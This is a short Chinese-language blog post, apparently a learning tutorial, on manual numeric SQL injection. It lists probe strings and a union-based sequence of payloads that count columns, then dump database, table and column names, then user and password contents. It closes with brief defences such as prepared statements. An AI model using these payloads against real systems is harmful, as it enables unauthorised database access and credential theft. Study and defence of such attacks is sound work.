Sql注入--数字型手工测试

Sql注入--数字型手工测试

漏洞原因:是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)

测试语句:

  1. 直接加参数判断 ‘ / \   (有报错代表可能有注入点)
  2. 1 and 1=1
  3. 1 and 1=2
  4. 1’ or 1=1 --+
  5. 1’ or 1=1 #
  6. 1’ or ‘1’=’1

 

发现有注入点,测试步骤:

  1. 判断字段数  1' order by 2--+
  2. 查看可代入查询的点  1' union select 1,2--+
  3. 爆数据库   1' union select 1,database()--+
  4. 爆表  1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
  5. 爆字段  1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--+
  6. 爆内容   1' union select 1,concat(user,0x2f,password) from users --+

判断字段数,看到有回显的,说明有2个字段数。

 

 

通过union slelct 看到2个字段数,哪里可以代入查询,发现1跟2都可以

 

爆数据库

 

爆表,得到有2张表,我们关心是users表

 

 

 

查看users表的字段

 

 

查看user,password 内容,得到有5条数据

 

 

 

漏洞防护:

  • 检查变量数据类型和格式
  • 过滤特殊符号
  • 绑定变量,使用预编译语句 

Sql注入还有很多种类型,原因都是一样,难点主要是找注入点。当然用工具的话是会快很多。

好了数字型的手工注入,告一段落,下次带来sqlmap注入的简易操作

 

posted @ 2020-08-19 23:30  无风ins  阅读(339)  评论(0)    收藏  举报